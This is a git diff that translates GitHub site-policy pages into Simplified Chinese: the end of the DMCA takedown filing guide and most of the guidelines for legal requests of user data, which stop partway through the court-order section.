+***先问清。***向我们发送删除通知之前尝试直接联系用户，是一个良好的开端。 他们可能在其公开的个人资料页面上或仓库的自述文件中列出了联系信息，您也可以通过在仓库中打开议题或拉取请求，与他们取得联系。 这不是强制要求，但卓有成效。
 
-***Send In The Correct Request.*** We can only accept DMCA takedown notices for works that are protected by copyright, and that identify a specific copyrightable work. If you have a complaint about trademark abuse, please see our [trademark policy](/articles/github-trademark-policy/). If you wish to remove sensitive data such as passwords, please see our [policy on sensitive data](/articles/github-sensitive-data-removal-policy/). If you are dealing with defamation or other abusive behavior, please see our [Community Guidelines](/articles/github-community-guidelines/).
+***发送正确的请求。***我们只接受针对受版权保护的作品并且标识出具体版权作品的 DMCA 删除通知。 如果您要投诉商标滥用行为，请参阅我们的[商标政策](/articles/github-trademark-policy/)。 如果您要删除密码之类的敏感数据，请参阅我们的[敏感数据政策](/articles/github-sensitive-data-removal-policy/)。 如果您要处理诽谤或其他辱骂行为，请参阅我们的[社区指导方针](/articles/github-community-guidelines/)。
 
-***Code Is Different From Other Creative Content.*** GitHub is built for collaboration on software code. This makes identifying a valid copyright infringement more complicated than it might otherwise be for, say, photos, music, or videos.
+***代码不同于其他创意内容。***GitHub 是软件代码协作的平台。 因此，识别这里的有效版权侵犯行为，比识别照片、音乐或视频方面的版权侵犯行为要复杂得多。
 
-There are a number of reasons why code is different from other creative content. For instance:
+代码不同于其他创意内容的原因有很多。 例如：
 
-- A repository may include bits and pieces of code from many different people, but only one file or even a sub-routine within a file infringes your copyrights.
-- Code mixes functionality with creative expression, but copyright only protects the expressive elements, not the parts that are functional.
-- There are often licenses to consider. Just because a piece of code has a copyright notice does not necessarily mean that it is infringing. It is possible that the code is being used in accordance with an open-source license.
-- A particular use may be [fair-use](https://www.lumendatabase.org/topics/22) if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately.
-- Code may be alleged to infringe in many different ways, requiring detailed explanations and identifications of works.
+- 仓库可能包含来自许多不同用户的零碎代码，但可能只有一个文件，甚至文件中的一个子例程侵犯了您的版权。
+- 代码结合了功能和创意表达，但版权只保护表达元素，而不保护功能部分。
+- 通常要考虑许可。 仅仅因为一段有版权声明的代码，不一定意味着侵权。 因为该代码有可能是在开源许可下使用的。
+- 如果特定使用符合以下条件，可能属于[合理使用](https://www.lumendatabase.org/topics/22)：只使用少量版权内容、以变换方式使用内容、用于教育目的或以上条件的某些组合。 由于代码本身适合于这些用途，但每个用例都有所不同，因此必须单独考虑。
+- 代码可能被控以许多不同的方式侵权，因此需要对作品进行详细的说明和识别。
 
-This list isn't exhaustive, which is why speaking to a legal professional about your proposed complaint is doubly important when dealing with code.
+此列表并不详尽，因此在提出针对代码的投诉之前，请咨询法律专业人士，这一点特别重要。
 
-***No Bots.*** You should have a trained professional evaluate the facts of every takedown notice you send. If you are outsourcing your efforts to a third party, make sure you know how they operate, and make sure they are not using automated bots to submit complaints in bulk. These complaints are often invalid and processing them results in needlessly taking down projects!
+***不要使用自动程序。***应该让训练有素的专业人员来评估您发送的每个删除通知中的事实。 如果您将工作外包给第三方，请务必了解他们的运作方式，确保他们不使用自动程序来批量提交投诉。 这些投诉往往是无效的，因为处理它们会对项目造成不必要的中断！
 
-***Matters of Copyright Are Hard.*** It can be very difficult to determine whether or not a particular work is protected by copyright. For example, facts (including data) are generally not copyrightable. Words and short phrases are generally not copyrightable. URLs and domain names are generally not copyrightable. Since you can only use the DMCA process to target content that is protected by copyright, you should speak with a lawyer if you have questions about whether or not your content is protectable.
+***版权问题难以确定。***确定特定作品是否受版权保护可能很难。 例如，fact（包括数据）通常不受版权保护。 字词短语通常不受版权保护。 URL 和域名通常不受版权保护。 因为您只能使用 DMCA 流程来处理受版权保护的内容，因此，如果您对内容是否受保护存有疑问，应咨询律师。
 
-***You May Receive a Counter Notice.*** Any user affected by your takedown notice may decide to submit a [counter notice](/articles/guide-to-submitting-a-dmca-counter-notice). If they do, we will re-enable their content within 10-14 days unless you notify us that you have initiated a legal action seeking to restrain the user from engaging in infringing activity relating to the content on GitHub.
+***您可能会收到反通知。***任何受您删除通知影响的用户可自行决定提交[反通知](/articles/guide-to-submitting-a-dmca-counter-notice)。 如果他们这样做，我们将在 10-14 天内重新启用其内容，除非您通知我们，您已采取法律行动以求制止用户从事与 GitHub 上的内容有关的侵权活动。
 
-***Your Complaint Will Be Published.*** As noted in our [DMCA Takedown Policy](/articles/dmca-takedown-policy#d-transparency), after redacting personal information, we publish all complete and actionable takedown notices at <https://github.com/github/dmca>.
+***您的投诉将被公布。***如我们的 [DMCA 删除政策](/articles/dmca-takedown-policy#d-transparency)所述，在删节个人信息后，我们将在 <https://github.com/github/dmca> 上发布所有完整、有效的删除通知。
 
-***GitHub Isn't The Judge.***
-GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+***GitHub 不是法官。***除了确定通知是否符合 DMCA 的最低要求外，GitHub 在此过程中几乎不行使酌处权。 当事方（及其律师）应负责评估其投诉的合理性，并注意，此类通知受伪证处罚条款约束。
 
-## Your Complaint Must ...
+## 您的投诉必须...
 
-1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Notice."** We won't refuse to process an otherwise complete complaint if you don't include this statement. But we'll know that you haven't read these guidelines and may ask you to go back and do so.
+1. **包括以下声明：“我已阅读并理解 GitHub 的《提交 DMCA 通知指南》。”**如果您的投诉未包括此声明，但其他内容完整，我们不会拒绝处理。 但我们知道您尚未阅读这些指南后，可能会要求您先完成这一步。
 
-2. **Identify the copyrighted work you believe has been infringed.** This information is important because it helps the affected user evaluate your claim and give them the ability to compare your work to theirs. The specificity of your identification will depend on the nature of the work you believe has been infringed. If you have published your work, you might be able to just link back to a web page where it lives. If it is proprietary and not published, you might describe it and explain that it is proprietary. If you have registered it with the Copyright Office, you should include the registration number. If you are alleging that the hosted content is a direct, literal copy of your work, you can also just explain that fact.
+2. **标识您认为被侵犯版权的作品。**此信息很重要，因为它有助于受影响的用户评估您的主张，使他们能够将您的作品与他们的作品进行比较。 标识的具体性将取决于您认为被侵权的作品的性质。 如果您已发布自己的作品，则只需链接到其所在的网页。 如果它是尚未发布的专有信息，您可以对其进行描述并说明它是专有信息。 如果已在版权局注册它，则应提供注册号。 如果声称托管内容完全是直接复制您的作品，您也可以只阐述这一事实。
 
-3. **Identify the material that you allege is infringing the copyrighted work listed in item #2, above.** It is important to be as specific as possible in your identification. This identification needs to be reasonably sufficient to permit GitHub to locate the material. At a minimum, this means that you should include the URL to the material allegedly infringing your copyright. If you allege that less than a whole repository infringes, identify the specific file(s) or line numbers within a file that you allege infringe. If you allege that all of the content at a URL infringes, please be explicit about that as well. 
-   - Please note that GitHub will *not* automatically disable [forks](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) when disabling a parent repository. If you have investigated and analyzed the forks of a repository and believe that they are also infringing, please explicitly identify each allegedly infringing fork. Please also confirm that you have investigated each individual case and that your sworn statements apply to each identified fork. In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks you have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement.
+3. **标识您声称侵犯了上述第 2 条中所列版权作品的材料。**您的标识应尽可能具体，这非常重要。 此标识必须足以让 GitHub 找到所指材料。 这意味着至少应包括涉嫌侵犯版权的材料的 URL。 如果您声称并非整个仓库侵权，则应标识涉嫌侵权的具体文件或文件中的具体行号。 如果您声称 URL 上的所有内容都侵权，也请明确说明。
+   - 请注意，GitHub 禁用父仓库时*不会*自动禁用[复刻](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork)。 如果您已调查和分析了仓库的复刻，并且认为它们也涉嫌侵权，请明确标识每个涉嫌侵权的复刻。 另请确认，您已逐个调查每个所标识的复刻，并且您的宣誓声明适用于每个所标识的复刻。 在极少数情况下，您可能在正被复刻的完整仓库中指称侵权。 如果您在提交通知时发现该仓库的所有现有复刻涉嫌侵权，我们将在处理通知时处理对该网络中所有复刻的有效索赔。 我们这样做是考虑到所有新建复刻都可能包含相同的内容。 此外，如果所报告的包含涉嫌侵权内容的网络大于一百 (100) 个仓库，从而很难全面审查，并且您在通知中指出：“根据您审查的代表性复刻数量，我相信所有或大多数复刻的侵权程度与父仓库相同”，则我们可能会考虑禁用整个网络。 你的宣誓声明将适用于此声明。
 
-4. **Explain what the affected user would need to do in order to remedy the infringement.** Again, specificity is important. When we pass your complaint along to the user, this will tell them what they need to do in order to avoid having the rest of their content disabled. Does the user just need to add a statement of attribution? Do they need to delete certain lines within their code, or entire files? Of course, we understand that in some cases, all of a user's content may be alleged to infringe and there's nothing they could do short of deleting it all. If that's the case, please make that clear as well.
+4. **说明侵权用户需要采取哪些补救措施。**同样，具体性很重要。 我们将您的投诉传达给用户时，这些说明将告诉他们需要采取哪些措施以避免其余内容被禁用。 用户只需要添加归属声明？ 他们需要删除代码中的某些行，或者需要删除整个文件？ 当然，我们明白，在某些情况下，用户的所有内容都涉嫌侵权，除了全部删除之外，别无他法。 如果是这种情况，也请明确说明。
 
-5. **Provide your contact information.** Include your email address, name, telephone number and physical address.
+5. **提供您的联系信息。**包括您的电子邮件地址、姓名、电话号码和实际地址。
 
-6. **Provide contact information, if you know it, for the alleged infringer.** Usually this will be satisfied by providing the GitHub username associated with the allegedly infringing content. But there may be cases where you have additional knowledge about the alleged infringer. If so, please share that information with us.
+6. **提供涉嫌侵权者的联系信息（如果您知道）。**一般通过提供与涉嫌侵权内容相关联的 GitHub 用户名来满足这一要求。 但在某些情况下，您可能对涉嫌侵权者有更多了解。 如果是，请与我们分享这些信息。
 
-7. **Include the following statement: "I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration."**
+7. **包括以下声明：“我坚信，在侵权网页上使用上述版权材料，未经版权所有者、其代理人或法律的授权。 我已考虑合理使用的情况。”**
 
-8. **Also include the following statement: "I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed."**
+8. **还应包括以下声明：“本人谨此宣誓，本通知中的信息准确无误，对于涉嫌受到侵犯之专有权，本人是版权所有者或所有者的授权代表，如有不实，愿接受伪证处罚 。”**
 
-9. **Include your physical or electronic signature.**
+9. **提供您的手写或电子签名。**
 
-## Complaints about Anti-Circumvention Technology
+## 有关反规避技术措施的投诉
 
-The Copyright Act also prohibits the circumvention of technological measures that effectively control access to works protected by copyright. If you believe that content hosted on GitHub violates this prohibition, please send us a report through our {% data variables.contact.contact_dmca %}. A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe:
-1. What the technical measures are;
-2. How they effectively control access to the copyrighted material; and 
-3. How the accused project is designed to circumvent their previously described technological protection measures.
+版权法还禁止规避用于有效控制受版权保护作品之访问权限的技术措施。 如果您认为 GitHub 上托管的内容违反了此禁令，请通过我们的 {% data variables.contact.contact_dmca %} 向我们发送报告。 规避索赔必须包括以下关于技术措施以及被告项目规避这些措施的方式的详细信息。 具体而言，给 GitHub 的通知必须包括详细的说明，描述：
+1. 技术措施是什么；
+2. 它们如何有效控制对受版权保护材料的访问；以及
+3. 被告项目是如何设计来规避他们以前描述的技术保护措施的。
 
-## How to Submit Your Complaint
+## 如果提交投诉
 
-The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}.
+得到回复的最快方式是在我们的 {% data variables.contact.contact_dmca %} 上输入您的信息并回答所有问题。
 
-You can also send an email notification to <copyright@github.com>. You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message.
+您也可以发送电子邮件通知到 <copyright@github.com>。 您可以包含附件（如果您愿意），但在邮件正文中也应包含来函的纯文本版本。
 
-If you must send your notice by physical mail, you can do that too, but it will take *substantially* longer for us to receive and respond to it. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is:
+如果非要通过实物邮件发送通知，也没问题，但我们接收和回复通知的时间会*大大*延长。 接收纯文本电子邮件通知比接收 PDF 附件或实物邮件要快得多。 如果您仍希望通过邮寄方式发送通知，我们的实际地址是：
 
 ```
 GitHub, Inc
-Attn: DMCA Agent
+收件人：DMCA 代理
 88 Colin P Kelly Jr St
 San Francisco, CA. 94107
 ```
diff --git a/translations/zh-CN/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md b/translations/zh-CN/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
index d78d303584..9adea4a513 100644
--- a/translations/zh-CN/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
+++ b/translations/zh-CN/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
@@ -1,5 +1,5 @@
 ---
-title: Guidelines for Legal Requests of User Data
+title: 用户数据法律要求指南
 redirect_from:
   - /law-enforcement-guidelines
   - /articles/guidelines-for-legal-requests-of-user-data
@@ -10,214 +10,161 @@ topics:
   - Legal
 ---
 
-Are you a law enforcement officer conducting an investigation that may involve user content hosted on GitHub?
-Or maybe you're a privacy-conscious person who would like to know what information we share with law enforcement and under what circumstances.
-Either way, you're on the right page.
+您是否是对可能涉及 GitHub 上托管的用户内容进行调查的执法人员？ 或许您是一个具有隐私意识的人，想知道我们与执法部门分享什么信息，以及在什么情况下分享信息。 无论您是哪种身份，都应该参阅本文内容。
 
-In these guidelines, we provide a little background about what GitHub is, the types of data we have, and the conditions under which we will disclose private user information.
-Before we get into the details, however, here are a few important details you may want to know:
+在这些指南中，我们略微提供了一些 GitHub 的背景信息，简单介绍了 GitHub 及其拥有的数据类型，还有我们披露私人用户信息的条件。 但在我们了解详细信息之前，您可能需要先了解以下几个重要细节：
 
-- We will [**notify affected users**](#we-will-notify-any-affected-account-owners) about any requests for their account information, unless prohibited from doing so by law or court order.
-- We will not disclose **location-tracking data**, such as IP address logs, without a [valid court order or search warrant](#with-a-court-order-or-a-search-warrant).
-- We will not disclose any **private user content**, including the contents of private repositories, without a valid [search warrant](#only-with-a-search-warrant).
+- 我们将[**通知受影响的用户**](#we-will-notify-any-affected-account-owners)有关其帐户信息的任何请求，除非法律或法院命令禁止这样做。
+- 如果没有[有效的法院命令或搜查令](#with-a-court-order-or-a-search-warrant)，我们不会披露**位置跟踪数据**，如 IP 地址日志。
+- 如果没有有效的[搜查令](#only-with-a-search-warrant) ，我们不会披露任何**私有用户内容**，包括私有仓库的内容。
 
-## About these guidelines
+## 关于这些指南
 
-Our users trust us with their software projects and code—often some of their most valuable business or personal assets.
-Maintaining that trust is essential to us, which means keeping user data safe, secure, and private.
+我们的用户信任他们的软件项目和代码——往往是他们最宝贵的业务或个人资产。 维持这种信任对我们来说至关重要，因此要确保用户数据的安全、可靠和私密。
 
-While the overwhelming majority of our users use GitHub's services to create new businesses, build new technologies, and for the general betterment of humankind, we recognize that with millions of users spread all over the world, there are bound to be a few bad apples in the bunch.
-In those cases, we want to help law enforcement serve their legitimate interest in protecting the public.
+虽然我们绝大多数用户利用 GitHub 的服务创办新企业、开发新技术和改善人类生活，但我们认识到，我们有数以百万计的用户遍布全球，其中难免会有一些心怀不轨之人。 在这些情况下，我们希望帮助执法部门履行其保护公众的法定职责。
 
-By providing guidelines for law enforcement personnel, we hope to strike a balance between the often competing interests of user privacy and justice.
-We hope these guidelines will help to set expectations on both sides, as well as to add transparency to GitHub's internal processes.
-Our users should know that we value their private information and that we do what we can to protect it.
-At a minimum, this means only releasing data to third-parties when the appropriate legal requirements have been satisfied.
-By the same token, we also hope to educate law enforcement professionals about GitHub's systems so that they can more efficiently tailor their data requests and target just that information needed to conduct their investigation.
+通过为执法人员提供指南，我们希望在用户隐私与正义之间实现某种平衡。 我们希望这些指南将帮助明确双方的期望，并提高 GitHub 内部流程的透明度。 我们的用户应该知道，我们重视他们的私人信息，并且会尽力保护这些信息。 这至少意味着只有在符合适当法律要求的情况下才向第三方披露数据。 出于同样原因， 我们还希望培训专业执法人员了解 GitHub 系统，以便他们能够更有效地定制其数据请求，并且只针对进行调查所需的信息。
 
-## GitHub terminology
+## GitHub 术语
 
-Before asking us to disclose data, it may be useful to understand how our system is implemented.
-GitHub hosts millions of data repositories using the [Git version control system](https://git-scm.com/video/what-is-version-control).
-Repositories on GitHub—which may be public or private—are most commonly used for software development projects, but are also often used to work on content of all kinds.
+在要求我们披露数据之前，了解我们系统的实施方式很有用。 GitHub 使用 [Git 版本控制系统](https://git-scm.com/video/what-is-version-control)托管数百万数据仓库。 GitHub 上的仓库——可能是公共或私有——常用于软件开发项目，但也常用于研究各种内容。
 
-- [**Users**](/articles/github-glossary#user) —
-Users are represented in our system as personal GitHub accounts.
-Each user has a personal profile, and can own multiple repositories.
-Users can create or be invited to join organizations or to collaborate on another user's repository.
+- [**用户**](/articles/github-glossary#user) — 用户在我们的系统中表示为个人 GitHub 帐户。 每个用户都有自己的个人资料，可以拥有多个仓库。 用户可以创建或受邀加入组织，也可以在其他用户的仓库上进行协作。
 
-- [**Collaborators**](/articles/github-glossary#collaborator) —
-A collaborator is a user with read and write access to a repository who has been invited to contribute by the repository owner.
+- [**协作者**](/articles/github-glossary#collaborator) — 协作者是受到仓库所有者邀请参与其项目的用户，可以读取和写入参与的仓库。
 
-- [**Organizations**](/articles/github-glossary#organization) —
-Organizations are a group of two or more users that typically mirror real-world organizations, such as businesses or projects.
-They are administered by users and can contain both repositories and teams of users.
+- [**组织**](/articles/github-glossary#organization) — 组织是由两个或以上用户组成的组，通常对应实际的组织，如企业或项目。 它们由用户管理，可以包含仓库和用户小组。
 
-- [**Repositories**](/articles/github-glossary#repository) —
-A repository is one of the most basic GitHub elements.
-They may be easiest to imagine as a project's folder.
-A repository contains all of the project files (including documentation), and stores each file's revision history.
-Repositories can have multiple collaborators and, at its administrators' discretion, may be publicly viewable or not.
+- [**仓库**](/articles/github-glossary#repository) — 仓库是最基本的 GitHub 元素之一。 它们很容易被想象为项目的文件夹。 仓库包含所有项目文件（包括文档），并存储每个文件的修订历史记录。 仓库可以有多个协作者，并由管理员酌情决定是否可以公开查看。
 
-- [**Pages**](/articles/what-is-github-pages) —
-GitHub Pages are public webpages freely hosted by GitHub that users can easily publish through code stored in their repositories.
-If a user or organization has a GitHub Page, it can usually be found at a URL such as `https://username.github.io` or they may have the webpage mapped to their own custom domain name.
+- [**页面**](/articles/what-is-github-pages) — GitHub 页面是由 GitHub 免费托管的公共网页，用户可以轻松地通过存储在其仓库中的代码发布。 如果用户或组织有一个 GitHub 页面，该页面通常可以在 `https://username.github.io` 这样的网址上找到，或其网页可能已映射到其自定义域名。
 
-- [**Gists**](/articles/creating-gists) —
-Gists are snippets of source code or other text that users can use to store ideas or share with friends.
-Like regular GitHub repositories, Gists are created with Git, so they are automatically versioned, forkable and downloadable.
-Gists can either be public or secret (accessible only through a known URL). Public Gists cannot be converted into secret Gists.
+- [**Gist**](/articles/creating-gists) — Gists 是源代码或其他文本的片段，用户可用来存储想法或与朋友共享。 像普通的 GitHub 仓库一样，Gist 也是通过 Git 创建的，所以它们会自动设置版本、可复刻、可下载。 Gist 可以是公共的，也可以是秘密的（只能通过已知 URL 访问）。 公共 Gist 无法转换成秘密 Gist。
 
-## User data on GitHub.com
+## GitHub.com 上的用户数据
 
-Here is a non-exhaustive list of the kinds of data we maintain about users and projects on GitHub.
+以下是我们维护的 GitHub 上用户和项目数据类型的非详尽清单。
 
 - <a name="public-account-data"></a>
-**Public account data** —
-There is a variety of information publicly available on GitHub about users and their repositories.
-User profiles can be found at a URL such as `https://github.com/username`.
-User profiles display information about when the user created their account as well their public activity on GitHub.com and social interactions.
-Public user profiles can also include additional information that a user may have chosen to share publicly.
-All user public profiles display:
-  - Username
-  - The repositories that the user has starred
-  - The other GitHub users the user follows
-  - The users that follow them
+**公共帐户数据** — GitHub 上有各种关于用户及其仓库的公开信息。 用户配置文件可在 `https://github.com/username` 这样的网址上找到。 用户配置文件显示用户何时在 GitHub.com上创建帐户及其在 GitHub.com 上的公共活动和社交互动的信息。 公共用户配置文件还可以包括用户可能已经选择公开分享的其他信息。 所有用户公共配置文件显示：
+  - 用户名
+  - 用户已加星标的仓库
+  - 用户关注的其他 GitHub 用户
+  - 关注他们的用户
 
-  Optionally, a user may also choose to share the following information publicly:
-  - Their real name
-  - An avatar
-  - An affiliated company
-  - Their location
-  - A public email address
-  - Their personal web page
-  - Organizations to which the user is a member (*depending on either the organizations' or the users' preferences*)
+  （可选）用户也可以选择公开分享以下信息：
+  - 他们的真实姓名
+  - 头像
+  - 关联公司
+  - 他们的位置
+  - 公共电子邮件地址
+  - 他们的个人网页
+  - 用户是其成员的组织（*取决于组织或用户偏好*）
 
 - <a name="private-account-data"></a>
-**Private account data** —
-GitHub also collects and maintains certain private information about users as outlined in our [Privacy Policy](/articles/github-privacy-statement).
-This may include:
-  - Private email addresses
-  - Payment details
-  - Security access logs
-  - Data about interactions with private repositories
+**私人帐户数据** — GitHub 也收集和维护我们[隐私政策](/articles/github-privacy-statement)中概述的用户相关特定私密信息。 可能包括：
+  - 私人电子邮件地址
+  - 付款详细信息
+  - 安全访问日志
+  - 与私有仓库交互的数据
 
-  To get a sense of the type of private account information that GitHub collects, you can visit your {% data reusables.user_settings.personal_dashboard %} and browse through the sections in the left-hand menubar.
+  要了解 GitHub 收集的私人帐户信息类型， 可以访问您的 {% data reusables.user_settings.personal_dashboard %} 并浏览左侧菜单栏中的区域。
 
 - <a name="organization-account-data"></a>
-**Organization account data** —
-Information about organizations, their administrative users and repositories is publicly available on GitHub.
-Organization profiles can be found at a URL such as `https://github.com/organization`.
-Public organization profiles can also include additional information that the owners have chosen to share publicly.
-All organization public profiles display:
-  - The organization name
-  - The repositories that the owners have starred
-  - All GitHub users that are owners of the organization
+**组织帐户数据** — 有关组织及其管理用户和仓库的信息发布于 GitHub。 组织配置文件可在 `https://github.com/organization` 这样的网址上找到。 公共组织配置文件还可以包括所有者可能已经选择公开分享的其他信息。 所有组织公共配置文件显示：
+  - 组织名称
+  - 所有者已加星标的仓库
+  - 作为组织所有者的所有 GitHub 用户
 
-  Optionally, administrative users may also choose to share the following information publicly:
-  - An avatar
-  - An affiliated company
-  - Their location
-  - Direct Members and Teams
-  - Collaborators
+  （可选）管理用户也可以选择公开分享以下信息：
+  - 头像
+  - 关联公司
+  - 他们的位置
+  - 直接成员和团队
+  - 协作者
 
 - <a name="public-repository-data"></a>
-**Public repository data** —
-GitHub is home to millions of public, open-source software projects.
-You can browse almost any public repository (for example, the [Atom Project](https://github.com/atom/atom)) to get a sense for the information that GitHub collects and maintains about repositories.
-This can include:
+**公共仓库数据** — GitHub 上具有数以百万计的开源软件项目。 您可以浏览几乎任何公共仓库（例如 [Atom 项目](https://github.com/atom/atom)，以了解 GitHub 收集和维护的仓库相关信息。 可能包括：
 
-  - The code itself
-  - Previous versions of the code
-  - Stable release versions of the project
-  - Information about collaborators, contributors and repository members
-  - Logs of Git operations such as commits, branching, pushing, pulling, forking and cloning
-  - Conversations related to Git operations such as comments on pull requests or commits
-  - Project documentation such as Issues and Wiki pages
-  - Statistics and graphs showing contributions to the project and the network of contributors
+  - 代码本身
+  - 代码的旧版本
+  - 项目的稳定版本
+  - 协作者、贡献者和仓库成员的信息
+  - Git 操作日志，如提交、分支、推送、拄取、复刻和克隆。
+  - 与 Git 操作相关的对话，例如对拉取请求或提交的评论
+  - 项目文档，例如议题和维基页面
+  - 显示对项目的贡献和贡献者网络的统计数据和图表
 
 - <a name="private-repository-data"></a>
-**Private repository data** —
-GitHub collects and maintains the same type of data for private repositories that can be seen for public repositories, except only specifically invited users may access private repository data.
+**私有仓库数据** — GitHub 对私有仓库收集和维护的数据类型与公共仓库相同，不同的是，只有特别邀请的用户才可访问私有仓库数据。
 
 - <a name="other-data"></a>
-**Other data** —
-Additionally, GitHub collects analytics data such as page visits and information occasionally volunteered by our users (such as communications with our support team, survey information and/or site registrations).
+**其他数据** — 此外，GitHub 还收集分析数据，如页面访问和我们用户偶尔自愿提供的信息（例如与我们支持团队的通信、调查信息和/或网站注册）。
 
-## We will notify any affected account owners
+## 我们将通知任何受影响的帐户所有者
 
-It is our policy to notify users about any pending requests regarding their accounts or repositories, unless we are prohibited by law or court order from doing so. Before disclosing user information, we will make a reasonable effort to notify any affected account owner(s) by sending a message to their verified email address providing them with a copy of the subpoena, court order, or warrant so that they can have an opportunity to challenge the legal process if they wish. In (rare) exigent circumstances, we may delay notification if we determine delay is necessary to prevent death or serious harm or due to an ongoing investigation.
+我们的政策是通知用户有关其帐户或仓库的任何待处理请求，除非法律或法院命令禁止我们这样做。 在披露用户信息之前，我们将作出合理的努力通知任何受影响的帐户所有者，包括向他们经验证的电子邮件地址发送邮件，向他们提供传票、法院命令或逮捕令的副本等，以便他们有机会根据自己的意愿对法律程序提出质疑。 在（极少的）紧急情况下，如果我们确定延迟通知对于防止死亡或严重伤害或持续的调查是必要的，我们可能延迟通知。
 
-## Disclosure of non-public information
+## 非公开信息的披露
 
-It is our policy to disclose non-public user information in connection with a civil or criminal investigation only with user consent or upon receipt of a valid subpoena, civil investigative demand, court order, search warrant, or other similar valid legal process. In certain exigent circumstances (see below), we also may share limited information but only corresponding to the nature of the circumstances, and would require legal process for anything beyond that.
-GitHub reserves the right to object to any requests for non-public information.
-Where GitHub agrees to produce non-public information in response to a lawful request, we will conduct a reasonable search for the requested information.
-Here are the kinds of information we will agree to produce, depending on the kind of legal process we are served with:
+根据我们的政策，仅当用户同意或在收到有效传票、民事调查要求、法院命令、搜查令或其他类似有效法律程序时，才会披露与民或事刑事调查有关的非公开用户信息。 在某些紧急情况（见下文）下，我们也可能分享有限的信息，但只能与情况的性质相对应，超出此范围则需要法律程序。 GitHub 保留对任何非公开信息请求提出异议的权利。 如果 GitHub 同意应合法请求提供非公开信息，我们将对请求的信息进行合理的搜寻。 以下是我们会同意提供的信息类型，具体取决于我们所服务的法律程序的类型：
 
 - <a name="with-user-consent"></a>
-**With user consent** —
-GitHub will provide private account information, if requested, directly to the user (or an owner, in the case of an organization account), or to a designated third party with the user's written consent once GitHub is satisfied that the user has verified his or her identity.
+**经用户同意** — GitHub 将应请求直接向用户（若为组织帐户，则为组织所有者）或指定的第三方（一旦 GitHub 确信用户已核实其身份并得到用户同意）提供私人帐户信息。
 
 - <a name="with-a-subpoena"></a>
-**With a subpoena** —
-If served with a valid subpoena, civil investigative demand, or similar legal process issued in connection with an official criminal or civil investigation, we can provide certain non-public account information, which may include:
+**有传票** — 如果收到与官方刑事或民事调查相关的有效传票、民事调查要求或类似法律程序，我们可以提供某些非公开帐户信息，其中可能包括：
 
-  - Name(s) associated with the account
-  - Email address(es) associated with the account
-  - Billing information
-  - Registration date and termination date
-  - IP address, date, and time at the time of account registration
-  - IP address(es) used to access the account at a specified time or event relevant to the investigation
+  - 与帐户关联的名称
+  - 与帐户关联的电子邮件地址
+  - 帐单信息
+  - 注册日期和终止日期
+  - 帐户注册时的 IP 地址、日期和时间
+  - 用于在指定时间或与调查有关的事件中访问帐户的 IP 地址
 
-In the case of organization accounts, we can provide the name(s) and email address(es) of the account owner(s) as well as the date and IP address at the time of creation of the organization account. We will not produce information about other members or contributors, if any, to the organization account or any additional information regarding the identified account owner(s) without a follow-up request for those specific users.
+若为组织帐户，我们可以提供帐户所有者的姓名和电子邮件地址，以及创建组织帐户时的日期和 IP 地址。 我们不会产生关于组织帐户的其他成员或贡献者（如果有）的任何信息，或者关于识别的帐户所有者的任何其他信息，除非收到这些特定用户的后续请求。
 
-Please note that the information available will vary from case to case. Some of the information is optional for users to provide. In other cases, we may not have collected or retained the information.
+请注意，可用的信息因个案而异。 用户可选择提供一些信息。 在另一些情况下，我们可能没有收集或保留信息。
 
 - <a name="with-a-court-order-or-a-search-warrant"></a>
-**With a court order *or* a search warrant** — We will not disclose account access logs unless compelled to do so by either
-(i) a court order issued under 18 U.S.C. Section 2703(d), upon a showing of specific and articulable facts showing that there are reasonable grounds to believe that the information sought is relevant and material to an ongoing criminal investigation; or
-(ii) a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures, upon a showing of probable cause.
-In addition to the non-public user account information listed above, we can provide account access logs in response to a court order or search warrant, which may include:
+**有法院命令*或*搜查令** — 我们不会披露帐户访问日志，除非收到以下指令的要求： (i) 根据 18 U.S.C. 第 2703(d) 条签发的法院命令，有具体而明确的事实表明，有合理的理由相信所要求的信息与正在进行的刑事调查有关； 或 (ii) 根据《联邦刑事诉讼规定》(Federal Rules of Criminal Procedure) 或同等国家搜查程序签发的搜查令，上面显示可能的原因。 第 2703(d) 条签发的法院命令，有具体而明确的事实表明，有合理的理由相信所要求的信息与正在进行的刑事调查有关； 或 (ii) 根据《联邦刑事诉讼规定》(Federal Rules of Criminal Procedure) 或同等国家搜查程序签发的搜查令，上面显示可能的原因。 除了上述非公开用户帐户信息之外，我们根据法院命令或搜查令提供的帐户访问日志信息可能包括：
 
-  - Any logs which would reveal a user's movements over a period of time
-  - Account or private repository settings (for example, which users have certain permissions, etc.)
-  - User- or IP-specific analytic data such as browsing history
-  - Security access logs other than account creation or for a specific time and date
+  - 显示用户在一段时间内移动的任何日志
+  - 帐户或私有版本库设置(例如，哪些用户拥有特定权限等）
+  - 用户或 IP 特定分析数据，如浏览历史记录
